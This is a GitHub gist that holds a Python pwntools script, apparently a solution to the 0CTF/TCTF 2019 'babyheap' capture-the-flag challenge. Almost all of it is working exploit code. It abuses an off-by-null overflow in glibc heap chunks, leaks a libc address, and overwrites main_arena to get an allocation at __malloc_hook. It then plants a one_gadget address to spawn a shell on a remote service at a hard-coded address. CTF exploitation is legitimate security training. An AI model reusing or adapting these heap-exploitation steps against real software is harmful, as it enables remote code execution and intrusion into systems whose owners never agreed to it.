Skip to content

Instantly share code, notes, and snippets.

@unamer unamer/babyheap.py
Created Mar 25, 2019

Embed
What would you like to do?
0CTF/TCTF 2019 babyheap solution
from pwn import *
debug = 0
if debug:
p = process('./babyheap')
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('111.186.63.20', 10001)
e = ELF('./babyheap.libc')
def alloc(size):
p.sendlineafter(':', '1')
p.sendlineafter(':', str(size))
def update(id, data):
p.sendlineafter(':', '2')
p.sendlineafter(':', str(id))
p.sendlineafter(':', str(len(data)))
p.sendafter(':', data)
def free(id):
p.sendlineafter(':', '3')
p.sendlineafter(':', str(id))
def view(id):
p.sendlineafter(':', '4')
p.sendlineafter(':', str(id))
# fill tcache bins and shrink top chunk size
for x in xrange(7):
alloc(0x28)
update(x, '1' * 0x28) # off by null here
for x in xrange(7):
free(x)
for x in xrange(7):
alloc(0x48)
update(x, '2' * 0x48)
for x in xrange(7):
free(x)
# shrink and alloc again
for x in xrange(15):
alloc(0x28)
update(x, '3' * 0x28) # off by null here
for x in xrange(15):
free(x)
for x in xrange(7):
alloc(0x18)
update(x, '4' * 0x17)
# top is 0x40 now
# allocation below will trigger malloc consolidation
alloc(0x38)
# here we got an unsort bin (0x290)
# shrink into 0x200 so when we alloc from unsort bin, malloc can't update the real prev_size
update(7, '5' * 0x38)
# alloc more chunks
alloc(0x18)
alloc(0x18)
for x in xrange(10, 15):
alloc(0x48)
update(x, '6' * 0x47)
# now unsort bin has 0x30 size left
free(9)
for x in xrange(1, 7):
free(x)
free(0)
free(8)
# trigger consolidation again
alloc(0x38)
# now the chunk has been overlapped
# leak the libc address from fd
view(10)
p.recvuntil(': ')
if debug:
libc = u64(p.recv(8)) - 0x3ebca0
else:
libc = u64(p.recv(8)) - 0x1E4Ca0
log.success('libc: ' + hex(libc))
e.address = libc
# alloc victim chunk
for x in xrange(1, 4):
alloc(0x48)
update(x, '7' * 0x47)
alloc(0x58)
# create an fastbin
alloc(0x28)
free(5)
# this bin will overlay the 0x28 bin we just freed
alloc(0x58)
# let's write our size in arena
update(5, '\x00' * 0x38 + p64(0x31) + p64(0x51))
alloc(0x28)
# restore the correct unsort bin size
update(6, '\x00' * 0x18 + p64(0x21))
# update the fd to main_arena
if debug:
main_arena = libc + 0x3ebc40
else:
main_arena = libc + 0x1E4C40
fake = main_arena + 0x10
free(1)
update(10, p64(fake))
alloc(0x48)
# now next chunk will be alloc at main_arena
alloc(0x48)
# now we can write main_arena!
# modify main_arena-> top to malloc hook!
update(8, '\x00' * 0x40 + p64(e.symbols['__malloc_hook'] - 0x28))
# now we alloc chunks at malloc hook!
if debug:
one = libc + 0x4f322
else:
one = libc + 0x501e3
log.success('one_gadget: {}'.format(hex(one)))
alloc(0x58)
update(9, '\x00' * 0x10 + p64(one) + p64(e.symbols['svc_run'] + (0x42 if debug else 0x38)))
if debug:
gdb.attach(p, 'b *{}'.format(hex(one)))
alloc(0x58)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.